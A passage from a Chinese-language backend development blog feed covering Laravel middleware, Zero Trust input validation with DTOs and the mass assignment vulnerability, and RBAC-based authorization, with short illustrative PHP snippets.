<li><p><strong>禮儀官</strong>：看你是哪國人，幫你掛上對應語言的翻譯機（Localization）。</p>
</li>
<li><p><strong>記錄員</strong>：記下幾點幾分誰進去了（Logging）。</p>
</li>
</ol>
<p>這四個角色，就是 Middleware。它們不負責「處理皇宮內的政務」（那是 Controller 的事），它們負責進出皇宮的「預處理」與「後處理」。</p>
<p>在技術上實現，Middleware 是一個洋蔥式(Onion Architecture)的結構：</p>
<pre><code class="lang-plaintext">Request  --&gt; [ Middleware 1 ] --&gt; [ Middleware 2 ] --&gt; (Controller)
                                                            |
Response &lt;-- [ Middleware 1 ] &lt;-- [ Middleware 2 ] &lt;--------+
</code></pre>
<h2 id="heading-6acq6jmv55cg6iih5b6m6jmv55cg55qe6ygo56il">預處理與後處理的過程</h2>
<pre><code class="lang-php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handle</span>(<span class="hljs-params">$request, <span class="hljs-built_in">Closure</span> $next</span>)
</span>{
    <span class="hljs-comment">// 前處理（Before Controller）</span>

    $response = $next($request);

    <span class="hljs-comment">// 後處理（After Controller）</span>

    <span class="hljs-keyword">return</span> $response;
}
</code></pre>
<h1 id="heading-54k65lua6bq85oir5ycr6zya6kab5a6d77yf">為什麼我們需要它？</h1>
<h2 id="heading-bad-smell-code">Bad Smell Code</h2>
<pre><code class="lang-php"><span class="hljs-comment">// UserController.php</span>
<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">update</span>(<span class="hljs-params">UpdateUserRequest $request</span>)
</span>{
    <span class="hljs-comment">// 1. 檢查有沒有登入 (重複程式碼)</span>
    <span class="hljs-keyword">if</span> (!Auth::check()) {
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Unauthorized'</span>, <span class="hljs-number">401</span>);
    }

    <span class="hljs-comment">// 2. 檢查是不是 JSON 格式 (重複程式碼)</span>
    <span class="hljs-keyword">if</span> (!$request-&gt;isJson()) {
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Invalid Content'</span>, <span class="hljs-number">400</span>);
    }

    <span class="hljs-comment">// 3. 記錄 Log (重複程式碼)</span>
    Log::info(<span class="hljs-string">'User update profile'</span>);

    <span class="hljs-comment">// --- 終於開始做正事 ---</span>
    $user = Auth::user();
    $user-&gt;update($request-&gt;validated());

    <span class="hljs-keyword">return</span> response()-&gt;json($user);
}
</code></pre>
<h2 id="heading-modify">Modify</h2>
<pre><code class="lang-php">Route::put(<span class="hljs-string">'/user'</span>, [UserController::class , <span class="hljs-string">'update'</span>])
     -&gt;middleware([<span class="hljs-string">'auth'</span>, <span class="hljs-string">'json.only'</span>, <span class="hljs-string">'log.activity'</span>]);

<span class="hljs-comment">// UserController.php</span>
<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">update</span>(<span class="hljs-params">UpdateUserRequest $request</span>)
</span>{
    <span class="hljs-comment">// 只剩下純粹的商業邏輯</span>
    $user = Auth::user();
    $user-&gt;update($request-&gt;validated());

    <span class="hljs-keyword">return</span> response()-&gt;json($user);
}
</code></pre>
<h1 id="heading-middleware">Middleware 的核心概念</h1>
<h2 id="heading-5ywt5asn5oej55so5ac05pmv">六大應用場景</h2>
<h3 id="heading-a-authentication-amp-authorization">A. 身份驗證與授權 (Authentication &amp; Authorization)</h3>
<ul>
<li><p><strong>場景</strong>：確認 User 是否登入？確認 User 是否有「管理員」權限？</p>
</li>
<li><p><strong>功能</strong>：如果是無效的 Token，直接在 Middleware 層擋下並回傳 401 或 403，完全不會觸發 Controller，節省資源。</p>
</li>
</ul>
<h3 id="heading-b-data-sanitizationtrimming">B. 請求數據清洗 (Data Sanitization/Trimming)</h3>
<ul>
<li><p><strong>場景</strong>：使用者輸入表單時，不小心多按了幾個空白鍵，或者輸入了空的字串。</p>
</li>
<li><p><strong>功能</strong>：Laravel 預設就有 <code>TrimStrings</code> 和 <code>ConvertEmptyStringsToNull</code>。它像一個濾水器，把髒東西濾掉後，才交給 Controller 處理。</p>
</li>
</ul>
<h3 id="heading-c-cors-cross-origin-resource-sharing">C. 跨來源資源共用 (CORS - Cross-Origin Resource Sharing)</h3>
<ul>
<li><p><strong>場景</strong>：你的前端在 <a target="_blank" href="http://localhost:3000"><code>localhost:3000</code></a>，後端在 <a target="_blank" href="http://localhost:8000"><code>localhost:8000</code></a>，瀏覽器會擋住請求。</p>
</li>
<li><p><strong>功能</strong>：Middleware 負責在 Response Header 加上 <code>Access-Control-Allow-Origin: *</code>，這是最典型的「隱形翻譯官」，讓瀏覽器聽得懂後端允許跨域。</p>
</li>
</ul>
<h3 id="heading-d-rate-limiting">D. 流量限制 (Rate Limiting)</h3>
<ul>
<li><p><strong>場景</strong>：防止惡意爬蟲或 DDoS 攻擊，或者 API 收費限制（每分鐘只能 Call 60 次）。</p>
</li>
<li><p><strong>功能</strong>：記錄 IP 的請求次數，超過限制直接回傳 HTTP 429 (Too Many Requests)。</p>
</li>
</ul>
<h3 id="heading-e-localization">E. 語系切換 (Localization)</h3>
<ul>
<li><p><strong>場景</strong>：多語系網站。</p>
</li>
<li><p><strong>功能</strong>：Middleware 讀取 Request Header 中的 <code>Accept-Language</code> (例如 <code>zh-TW</code>)，然後設定系統當下的 <code>App::setLocale('zh-TW')</code>。這樣 Controller 裡面只需寫 <code>trans('messages.welcome')</code>，就會自動對應到正確語言。</p>
</li>
</ul>
<h3 id="heading-f-logging-amp-profiling">F. 效能監控與日誌 (Logging &amp; Profiling)</h3>
<ul>
<li><p><strong>場景</strong>：想知道每個 API 執行了幾秒？</p>
</li>
<li><p><strong>功能</strong>：</p>
<ol>
<li><p>Request 進來時，記錄時間點 $startTime。</p>
</li>
<li><p><code>$next($request)</code> 執行後續邏輯。</p>
</li>
<li><p>Response 回來時，計算 <code>microtime() - $startTime</code>。</p>
</li>
<li><p>如果超過 1 秒，寫入 Log 警告。</p>
</li>
</ol>
</li>
</ul>
<h2 id="heading-middlewarepolicygate">觀念釐清(ㄧ)：Middleware、Policy、Gate</h2>
<p>這三個東西做的事情都很像，我們該如何區分呢？</p>
<p>我會利用：<strong>「顆粒度 (Granularity)」</strong> 與 <strong>「是否需要具體的業務資料 (Context Awareness)」</strong></p>
<p>這兩個大方向來進行判斷</p>
<ul>
<li><p><strong>Middleware (大樓警衛 - 宏觀過濾)</strong></p>
<ul>
<li><p><strong>職責</strong>：站在大門口。</p>
</li>
<li><p><strong>檢查內容</strong>：你有沒有識別證？你的 IP 是否在黑名單？你的 API Token 是不是過期了？</p>
</li>
<li><p><strong>特點</strong>：警衛<strong>不關心</strong>你要去找誰，也不關心你要去幾樓，他只管「能不能讓你進大廳」。</p>
</li>
<li><p><strong>是否依賴資料</strong>：否，通常只看 HTTP Header 或 Session。</p>
</li>
</ul>
</li>
<li><p><strong>Gate (部門門禁卡 - 權限過濾)</strong></p>
<ul>
<li><p><strong>職責</strong>：電梯或部門入口。</p>
</li>
<li><p><strong>檢查內容</strong>：你是「管理員」嗎？你有「財務部」的權限嗎？</p>
</li>
<li><p><strong>特點</strong>：這裡開始區分角色（Role），但通常還不涉及具體的「某一份文件」。</p>
</li>
<li><p><strong>是否依賴資料</strong>：通常只依賴 User 這種全域資訊。</p>
</li>
</ul>
</li>
<li><p><strong>Policy (保險箱鑰匙 - 微觀/資料過濾)</strong></p>
<ul>
<li><p><strong>職責</strong>：辦公桌前的最後一道鎖。</p>
</li>
<li><p><strong>檢查內容</strong>：你是這份「企劃書」的作者嗎？這張「訂單」是你們部門負責的嗎？</p>
</li>
<li><p><strong>特點</strong>：必須拿到**具體的那個物件（Model）**才能判斷。</p>
</li>
<li><p><strong>是否依賴資料</strong>：是，高度依賴具體的 Model instance。</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-policy-middleware">為什麼不把 Policy 邏輯寫在 Middleware？</h3>
<p>假設你要做一個功能：「使用者只能修改<strong>自己</strong>的文章」。</p>
<h3 id="heading-middleware-1">如果寫在 Middleware</h3>
<p>要在 Middleware 裡做這件事，會遇到兩個大麻煩：</p>
<ol>
<li><p>重複查詢資料庫： Middleware 執行時，Controller 還沒開始跑。為了檢查權限，你必須在 Middleware 裡先 <code>find($id)</code> 一次文章。然後進了 Controller，為了執行業務邏輯，你可能又 <code>find($id)</code> 一次。這是資源浪費。</p>
</li>
<li><p>解析路由參數很麻煩： Middleware 要知道現在請求的是哪篇文章，必須去解析 URL (<code>/posts/101/edit</code>) 抓出 <code>101</code>。如果路由規則改了，Middleware 的解析邏輯也要跟著改，耦合度太高。</p>
</li>
</ol>
<h3 id="heading-5yik5pa36kgo5qc8">判斷表格</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>維度</strong></td><td><strong>Middleware (中介層)</strong></td><td><strong>Gate (閘門)</strong></td><td><strong>Policy (策略)</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>關注點</strong></td><td><strong>HTTP 請求層級</strong></td><td><strong>使用者權限/功能層級</strong></td><td><strong>資料模型 (Model) 層級</strong></td></tr>
<tr>
<td><strong>典型場景</strong></td><td>驗證 Token、CORS、Log、鎖 IP、檢查 Content-Type</td><td>能不能進入後台？能不能看報表？(Yes/No)</td><td>能不能刪除<strong>這筆</strong>訂單？只能改<strong>自己</strong>的資料？</td></tr>
<tr>
<td><strong>依賴對象</strong></td><td>Request Header, Session</td><td>User Object</td><td>User Object + <strong>Target Model</strong></td></tr>
<tr>
<td><strong>執行時機</strong></td><td>進入 Controller <strong>之前</strong></td><td>Controller 內或 Blade 內</td><td>Controller 內 (處理具體資料時)</td></tr>
<tr>
<td><strong>語義範例</strong></td><td>"你是合法的使用者嗎？"</td><td>"你有管理員權限嗎？"</td><td>"你是這篇文章的作者嗎？"</td></tr>
</tbody>
</table>
</div><h2 id="heading-middlewarerequestdto">觀念釐清(二)：Middleware、Request與DTO</h2>
<p>會有這個釐清的原因是，上面有提到Middleware有一個職責是：清洗資料。</p>
<p>那我們上一篇文章也剛好說到 DTO 以及 FormRequest，那一樣都是資料處理，這三個又差在哪裡呢？</p>
<p>這其實就是：後端工程師在定義不同工具時，工具個別的職責邊界。</p>
<p>我們可以把這三個角色想像成<strong>工廠的流水線</strong>：</p>
<ol>
<li><p>Middleware (清洗)：像是「高壓水柱」，不管傳送帶上是什麼原料，先全部沖洗一遍（去掉頭尾空白、空字串轉 Null）。它不關心 這是蘋果還是橘子，它只管「乾淨」。</p>
</li>
<li><p>Form Request (驗證)：像是「品管員」。他拿著檢查表，確認這顆「蘋果」有沒有爛掉（Validation），或者把「蘋果」削皮切塊。他很關心這是什麼業務場景。</p>
</li>
<li><p>DTO (傳輸)：像是「真空包裝盒」。它不負責清洗也不負責檢查，它只負責把處理好的水果，變成標準的形狀，讓後面的廚師（Service/Domain）好拿、好用。</p>
</li>
</ol>
<h3 id="heading-a-middleware">A. Middleware：全域的、無腦的物理清潔</h3>
<p>Middleware (如 Laravel 的 <code>TrimStrings</code>) 是一個<strong>全域規則</strong>。</p>
<ul>
<li><p><strong>特點</strong>：它不知道 <code>email</code> 欄位是用來幹嘛的，它只知道「凡是字串，前後不該有空白」。</p>
</li>
<li><p><strong>適用場景</strong>：通用的 HTTP 協議層級處理。</p>
<ul>
<li><p>去除空白 (Trim)</p>
</li>
<li><p>空字串轉 Null</p>
</li>
<li><p>HTML標籤過濾 (StripTags - 如果你的網站全站禁止 HTML)</p>
</li>
</ul>
</li>
<li><p><strong>它的盲點</strong>：它無法做「特定欄位」的處理（例如：把電話號碼的 拿掉）。</p>
</li>
</ul>
<h3 id="heading-b-form-request">B. Form Request：業務相關的資料預處理</h3>
<p>這是在 Controller 之前的<strong>業務層級</strong>處理。Laravel 的 Form Request 有一個 <code>prepareForValidation()</code> 方法。</p>
<ul>
<li><p><strong>特點</strong>：它知道現在是在「註冊」，並且知道 <code>phone</code> 欄位需要格式化。</p>
</li>
<li><p><strong>適用場景</strong>：特定 API 的資料修整。</p>
<ul>
<li><p>把 <code>0912-345-678</code> 轉成 <code>0912345678</code>。</p>
</li>
<li><p>把 <code>price: "1,000"</code> 的逗號拿掉轉成數字。</p>
</li>
<li><p><strong>這裡做的「清洗」，是為了讓後面的 Validation 更順利。</strong></p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-c-dto-data-transfer-object">C. DTO (Data Transfer Object)：型別安全的資料容器</h3>
<p>DTO 通常不應該包含複雜的清洗邏輯，它應該是<strong>結果的載體</strong>。</p>
<ul>
<li><p><strong>特點</strong>：它假設「進來的資料已經是乾淨且合法的」。</p>
</li>
<li><p><strong>適用場景</strong>：將鬆散的 <code>$request-&gt;all()</code> 陣列，轉換成有型別提示的物件。</p>
<ul>
<li><p><code>$request-&gt;input('user_id')</code> (不知是 int 還是 string) 轉變成 <code>public int $userId</code>。</p>
</li>
<li><p>確保傳給 Service 的參數永遠是固定的結構。</p>
</li>
</ul>
</li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">補充：Laravel如果有用FormRequest來做檢查，可以用validated()來過濾rules中不存在的資料，不用多寫一個DTO。但會有一個情況：假設我們定義了一個SearchRequest，欄位大同小異，但因為某些欄位時有時無，邏輯複雜到不太能用 required_if, required_without, exclude_if 之類的輔助條件，而不得不拆成三個Request;我們就可以嘗試用一個囊括全部的Request，並只做檢查，在利用各自功能的DTO來正規化進到Service的結構內容。</div>
</div>]]></content:encoded></item><item><title><![CDATA[Lesson 11: 應用層的 Zero Trust-資料驗證 (Validation) 與 DTO]]></title><description><![CDATA[在資安領域有一個非常有名的概念叫做 Zero Trust (零信任)。它的核心精神只有一句話："Never Trust, Always Verify" (永不信任，始終驗證)。
在網路世界裡，後端工程師的第一條守則是：「永遠不要相信客戶端傳來的輸入」。
過去工程師常認為：「只要使用者登入了（通過驗證），他傳來的資料就是安全的」或者「這是我們自己寫的前端 App 傳來的資料，所以可以信任」。這就是傳統的邊界防禦 (Perimeter Security) 思維——就像城堡，進了城門就沒人管你了。
但...]]></description><link>https://blog.bennett1999.com/lesson-11-zero-trust-validation-dto</link><guid isPermaLink="true">https://blog.bennett1999.com/lesson-11-zero-trust-validation-dto</guid><category><![CDATA[dto]]></category><category><![CDATA[zerotrust]]></category><category><![CDATA[Validation]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Sat, 13 Dec 2025 16:00:00 GMT</pubDate><content:encoded><![CDATA[<p>在資安領域有一個非常有名的概念叫做 Zero Trust (零信任)。它的核心精神只有一句話："Never Trust, Always Verify" (永不信任，始終驗證)。</p>
<p>在網路世界裡，後端工程師的第一條守則是：<strong>「永遠不要相信客戶端傳來的輸入」。</strong></p>
<p>過去工程師常認為：「只要使用者登入了（通過驗證），他傳來的資料就是安全的」或者「這是我們自己寫的前端 App 傳來的資料，所以可以信任」。這就是傳統的<strong>邊界防禦 (Perimeter Security)</strong> 思維——就像城堡，進了城門就沒人管你了。</p>
<p>但對於後端工程師來說，<strong>API 接口就是戰場的最前線，沒有所謂的「城牆內」</strong>。</p>
<p>無論前端做了多完美的檢查，惡意攻擊者依然可以用 curl 或 Postman 直接對你的 API 灌入垃圾數據或攻擊代碼。這堂課我們探討如何建立一道堅固的防火牆，確保進入我們系統核心（業務邏輯與資料庫）的數據是乾淨、合法且型別正確的</p>
<h1 id="heading-zero-trust">為什麼要用 Zero Trust 看待輸入資料？</h1>
<p>將 Zero Trust 的哲學應用在資料驗證上，我們可以這樣理解：</p>
<ul>
<li><p><strong>傳統思維</strong>：</p>
<ul>
<li><p>「前端有寫 JavaScript 檢查 Email 格式了，後端不用再檢查一次吧？」</p>
</li>
<li><p>「這是內部管理後台，只有員工會用，不用防 SQL Injection 吧？」</p>
</li>
<li><p><strong>後果</strong>：一旦前端驗證被繞過（攻擊者直接用 Postman 打 API），後端完全不設防，直接讓惡意資料長驅直入。</p>
</li>
</ul>
</li>
<li><p>零信任思維 (Zero Trust Security)：</p>
<ul>
<li><p>假設前端已經淪陷：我們假設發送請求的不是你的前端 App，而是一個正在嘗試注入惡意語法的駭客。</p>
</li>
<li><p>身份不代表清白：即使請求帶有合法的 JWT (Token)，代表他是「合法的使用者」，但不代表他帶來的資料是「無害的」。</p>
</li>
<li><p>微觀邊界 ：每一個 API Endpoint 都是一個獨立的檢查站。不管資料從哪裡來，進入這個函式之前，必須先經過嚴格的驗證。</p>
</li>
</ul>
</li>
</ul>
<h1 id="heading-dto-data-transfer-object">DTO (Data Transfer Object)</h1>
<p>在我的開發生涯中，曾經看過有工程師 直接把 HTTP Request 的 JSON Body 整個丟進資料庫模型（Model）裡。這是極度危險的行為(大量指派漏洞）。</p>
<p><strong>DTO 模式</strong> 的核心思想是：建立一個專門的物件，用來定義「這個 API 接口預期接收什麼樣的資料」。</p>
<ul>
<li><p><strong>沒有 DTO (危險)</strong>：</p>
<ul>
<li><p>客戶端傳送 <code>{ "username": "admin", "role": "superuser" }</code>。</p>
</li>
<li><p>後端直接接收並寫入資料庫 -&gt; 一般使用者突然變成了超級管理員。</p>
</li>
</ul>
</li>
<li><p><strong>使用 DTO (安全)</strong>：</p>
<ul>
<li><p>後端定義一個 <code>UpdateProfileDTO</code>，裡面只有 <code>{ "username": string }</code>。</p>
</li>
<li><p>即使客戶端多傳了 <code>role</code>，因為 DTO 裡沒定義，系統會自動忽略或報錯。</p>
</li>
</ul>
</li>
</ul>
<h1 id="heading-6amx6k2j55qe5lij5ycl5bgk5qyh">驗證的三個層次</h1>
<p>一個成熟的後端架構，驗證通常發生在不同階段：</p>
<h2 id="heading-layer-1-syntactic-validation">Layer 1: 結構與型別驗證 (Syntactic Validation)</h2>
<p>這是最外層的過濾，通常由 <strong>Schema Validator</strong> 處理。如果不通過，程式根本不應該進入業務邏輯。</p>
<ul>
<li><p><strong>檢查項目</strong>：</p>
<ul>
<li><p>欄位是否存在？(Required)</p>
</li>
<li><p>資料型別對不對？(Is it a String, Integer, UUID?)</p>
</li>
<li><p>格式對不對？(Email format, Date format ISO8601)</p>
</li>
</ul>
</li>
<li><p><strong>通用工具</strong>：</p>
<ul>
<li><p><strong>Python</strong>: Pydantic</p>
</li>
<li><p><strong>Node.js/TS</strong>: Zod, Joi, class-validator</p>
</li>
<li><p><strong>Go</strong>: Struct Tags (<code>binding:"required,email"</code>)</p>
</li>
<li><p><strong>JSON Schema</strong>: 跨語言的標準定義</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-layer-2-semantic-validation">Layer 2: 語意與邏輯驗證 (Semantic Validation)</h2>
<p>這層涉及資料的「內容」是否合理。</p>
<ul>
<li><p><strong>檢查項目</strong>：</p>
<ul>
<li><p>數值範圍：年齡不能是負數，庫存不能小於 0。</p>
</li>
<li><p>依賴關係：如果 <code>payment_method</code> 是信用卡，則 <code>card_number</code> 必填。</p>
</li>
<li><p>商業規則：開始時間不能晚於結束時間。</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-layer-3-database-integrity">Layer 3: 資料庫完整性驗證 (Database Integrity)</h2>
<p>這是最後一道防線，通常涉及對資料庫的查詢。</p>
<ul>
<li><p><strong>檢查項目</strong>：</p>
<ul>
<li><p>唯一性檢查 (Unique)：這個 Email 是否已經被註冊過？</p>
</li>
<li><p>關聯性檢查 (Foreign Key)：這個 <code>product_id</code> 是否真的存在於商品表中？</p>
</li>
</ul>
</li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">在Laravel中，通常會封裝Form Request來解決Layer1 + Layer2</div>
</div>

<h1 id="heading-fail-fast">Fail Fast 原則</h1>
<p>後端驗證的核心哲學是 <strong>Fail Fast (快速失敗)</strong>。 一旦發現資料不合法，立刻回傳 <code>400 Bad Request</code> 或 <code>422 Unprocessable Entity</code>，不要讓錯誤的資料繼續往後跑，浪費運算資源或導致更深層的錯誤（例如資料庫報錯）。</p>
<h1 id="heading-6koc5ywf">補充</h1>
<h2 id="heading-dto">關於DTO</h2>
<p>DTO , Data transfer(to) Object。本質是「資料傳輸的載體」，它不只用來「收（Input）」資料，也非常適合用來「發（Output）」資料。</p>
<p>我們上面談了 DTO 如何像盾牌一樣防禦惡意輸入 (Input DTO)，但 DTO 還有另一個強大的功能：規範輸出的形狀 (Output DTO / Response DTO)。</p>
<p>如果我們直接把資料庫撈出來的 Model 直接 <code>return</code> 給前端或第三方。這會導致兩個問題：</p>
<ol>
<li><p>洩漏敏感資料：不小心把 <code>password_hash</code>、<code>soft_delete_flag</code> 或內部 <code>id</code> 傳出去。</p>
</li>
<li><p>格式不符需求：資料庫存的是 <code>created_at</code> (Timestamp)，但對方要的是 XML 格式的 <code>&lt;publishedDate&gt;</code>。</p>
</li>
</ol>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Laravel 在Model的地方可以設定 $hidden 來解決問題1。可以用transform(on Model Collection)來解決問題2。</div>
</div>

<h3 id="heading-xml-feed">實戰場景：整個電商網站商品 XML Feed</h3>
<p>假設你需要生成一個 XML 檔案給 Google Merchant Center 或比價網爬蟲使用。你的資料庫結構可能很複雜，但對方要求的格式很死板。這時，你可以用 DTO 來做「結構化映射」。</p>
<p><strong>情境</strong>：</p>
<ul>
<li><p>資料庫 (DB)：<code>products</code> 表，欄位有 <code>id</code>, <code>name</code>, <code>cost_price</code>, <code>sale_price</code>, <code>stock_qty</code>, <code>supplier_id</code>。</p>
</li>
<li><p>需求 (XML)：需要 <code>&lt;item&gt;&lt;title&gt;...&lt;/title&gt;&lt;price&gt;...&lt;/price&gt;&lt;/item&gt;</code>。</p>
</li>
</ul>
<p>使用 Output DTO 的思維：</p>
<pre><code class="lang-php"><span class="hljs-comment">// 這是我們定義的「模具」，不管資料庫怎麼變，輸出的格式永遠長這樣</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ProductXmlDTO</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">string</span> $title;
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">float</span> $price;
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">string</span> $availability;

    <span class="hljs-comment">// 透過建構子或工廠方法，把 DB Model 轉換成 DTO</span>
    <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fromModel</span>(<span class="hljs-params">Product $product</span>): <span class="hljs-title">self</span>
    </span>{
        $dto = <span class="hljs-keyword">new</span> <span class="hljs-built_in">self</span>();
        <span class="hljs-comment">// 1. 改名 (Mapping)：DB 的 name 對應 XML 的 title</span>
        $dto-&gt;title = $product-&gt;name;

        <span class="hljs-comment">// 2. 邏輯轉換 (Transformation)：DB 存的是成本與售價，這裡只輸出最終售價</span>
        $dto-&gt;price = $product-&gt;sale_price;

        <span class="hljs-comment">// 3. 狀態判斷 (Logic)：將數字庫存轉為文字描述</span>
        $dto-&gt;availability = $product-&gt;stock_qty &gt; <span class="hljs-number">0</span> ? <span class="hljs-string">'in stock'</span> : <span class="hljs-string">'out of stock'</span>;

        <span class="hljs-keyword">return</span> $dto;
    }
}
</code></pre>
<h3 id="heading-6ycz5qij5yga55qe5aw96jmv">這樣做的好處</h3>
<ol>
<li><p>解耦 (Decoupling)：如果有一天你的資料庫欄位 <code>name</code> 改成了 <code>product_name</code>，你只需要修改 DTO 的 <code>fromModel</code> 方法，外面的 XML 輸出完全不會壞掉。</p>
</li>
<li><p>單一資料來源 (SSOT)：你可以針對不同的需求製作不同的 DTO（例如 <code>ProductCardDTO</code> 給手機版列表用，<code>ProductDetailDTO</code> 給詳情頁用），而不是讓前端自己去撈一堆不需要的欄位。</p>
</li>
</ol>
<h2 id="heading-mass-assignment-vulnerability">大量指派漏洞(Mass Assignment Vulnerability)</h2>
<p>這裡我們來談談什麼是大量指派漏洞，用一個具體情境來說明：</p>
<ol>
<li><p>你有一個「更新使用者資料」的功能，讓使用者編輯自己的個人資訊（profile）。</p>
</li>
<li><p>你提供一個 <code>PATCH/PUT</code> API 供前端送出更新請求。</p>
</li>
<li><p>在 users table 中，你有一個 <code>remember_token</code> 欄位，用於實現「持久登入」。</p>
</li>
<li><p>客戶端在呼叫更新 API 時，body 中不小心也包含了 <code>remember_token</code>。</p>
</li>
<li><p>後端程式如果直接使用 <code>$request-&gt;all()</code> 去更新資料模型（<code>User::update($request-&gt;all())</code>），那麼 <code>remember_token</code> 就會在你完全未察覺的情況下被改寫。</p>
</li>
</ol>
<p>這就是典型的 大量指派漏洞：</p>
<p>攻擊者或不小心的客戶端，只要傳入一個你沒預期要更新的欄位，就能成功覆寫你的資料。</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Laravel 的 $fillable 與 $guarded ，但只能做欄位白名單/黑名單的基本防護，無法取代真正的資料驗證流程。</div>
</div>]]></content:encoded></item><item><title><![CDATA[Lesson 10: 守門員的權限：授權 - RBAC 與 Policy 設計]]></title><description><![CDATA[在上一堂課，我們學會了如何驗證「你是誰」（Authentication）。但確認身分只是第一步。
想像你是一間銀行的員工。你刷卡通過大門（Authentication 成功），但这不代表你可以直接走進金庫搬錢。「你能做什麼？」 這就是 授權 (Authorization) 的範疇。
對於後端工程師來說，如果說 Authentication 是守大門的警衛，那麼 Authorization 就是每一扇門上的電子鎖與守門員，它決定了請求是否會被拒絕（403 Forbidden）。
核心觀念：Auth...]]></description><link>https://blog.bennett1999.com/lesson-10-rbac-policy</link><guid isPermaLink="true">https://blog.bennett1999.com/lesson-10-rbac-policy</guid><category><![CDATA[rbac]]></category><category><![CDATA[Policy]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[backend]]></category><category><![CDATA[authentication]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Fri, 12 Dec 2025 16:00:00 GMT</pubDate><content:encoded><![CDATA[<p>在上一堂課，我們學會了如何驗證「你是誰」（Authentication）。但確認身分只是第一步。</p>
<p>想像你是一間銀行的員工。你刷卡通過大門（Authentication 成功），但这不代表你可以直接走進金庫搬錢。<strong>「你能做什麼？」</strong> 這就是 <strong>授權 (Authorization)</strong> 的範疇。</p>
<p>對於後端工程師來說，如果說 Authentication 是守大門的警衛，那麼 Authorization 就是每一扇門上的電子鎖與守門員，它決定了請求是否會被拒絕（403 Forbidden）。</p>
<h1 id="heading-authentication-vs-authorization">核心觀念：Authentication vs. Authorization</h1>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>特性</strong></td><td><strong>Authentication (驗證)</strong></td><td><strong>Authorization (授權)</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>關鍵問題</strong></td><td>你是誰？ (Who are you?)</td><td>你可以做這件事嗎？ (Can you do this?)</td></tr>
<tr>
<td><strong>失敗狀態碼</strong></td><td><strong>401 Unauthorized</strong> (通常指未登入)</td><td><strong>403 Forbidden</strong> (已登入但權限不足)</td></tr>
<tr>
<td><strong>發生時機</strong></td><td>請求最前端，確認身分</td><td>確認身分後，執行具體邏輯前</td></tr>
<tr>
<td><strong>生活案例</strong></td><td>出示護照通關</td><td>持有頭等艙機票進入貴賓室</td></tr>
</tbody>
</table>
</div><h1 id="heading-rbac-role-based-access-control">RBAC：角色基礎存取控制 (Role-Based Access Control)</h1>
<p>在小型專案中，你可能會寫出這樣的程式碼：</p>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> ($user-&gt;id === <span class="hljs-number">1</span>) {
    <span class="hljs-comment">// 允許刪除文章</span>
}
</code></pre>
<p>這種寫法難以維護。當系統變大，我們需要更結構化的管理方式。這就是 <strong>RBAC</strong>。</p>
<h2 id="heading-rbac">什麼是 RBAC？</h2>
<p>RBAC 的核心概念是：<strong>權限不直接綁定在「人」身上，而是綁定在「角色」身上。</strong></p>
<ol>
<li><p><strong>User (使用者)</strong>：系統的操作者。</p>
</li>
<li><p><strong>Role (角色)</strong>：一組權限的集合（例如：管理員、編輯、一般會員）。</p>
</li>
<li><p><strong>Permission (權限)</strong>：具體可以執行的動作（例如：刪除文章、編輯商品）。</p>
</li>
</ol>
<h2 id="heading-6loh5paz5bqr6kit6kii56e5l6l">資料庫設計範例</h2>
<p>一個標準的 RBAC 通常涉及五張表（或簡化為三張）：</p>
<ol>
<li><p><code>users</code> (使用者)</p>
</li>
<li><p><code>roles</code> (角色)</p>
</li>
<li><p><code>permissions</code> (權限) - <em>選用，簡單系統可直接定義在 Role 上</em></p>
</li>
<li><p><code>role_user</code> (使用者與角色的關聯 - 多對多)</p>
</li>
<li><p><code>permission_role</code> (角色與權限的關聯 - 多對多)</p>
</li>
</ol>
<p>透過這種設計，當有新進員工時，你不需要逐一開啟 50 個功能的權限，只需將他指派為「編輯 (Editor)」角色即可。</p>
<h2 id="heading-rbac-1"><strong>RBAC 補充：權限粒度與層次</strong></h2>
<p>RBAC 核心概念是 <strong>權限不綁定個人，而是綁定角色</strong>。在實務中，RBAC 的設計還可以進一步補充以下概念：</p>
<h3 id="heading-1-permission">1. Permission 粒度</h3>
<ul>
<li><p><strong>粗粒度角色</strong>：Admin、Editor、User</p>
<p>  適合小型系統或權限需求單純的情境。</p>
</li>
<li><p><strong>細粒度權限</strong>：例如「刪除文章」「編輯文章」「審核留言」</p>
<p>  好處是更靈活，角色可以組合多個細節權限，不必新增角色就能控制更多行為。</p>
</li>
</ul>
<h3 id="heading-2-hierarchical-rbac">2. 層次化角色 (Hierarchical RBAC)</h3>
<ul>
<li><p>大型系統中，角色可以繼承權限。</p>
<p>  例如：</p>
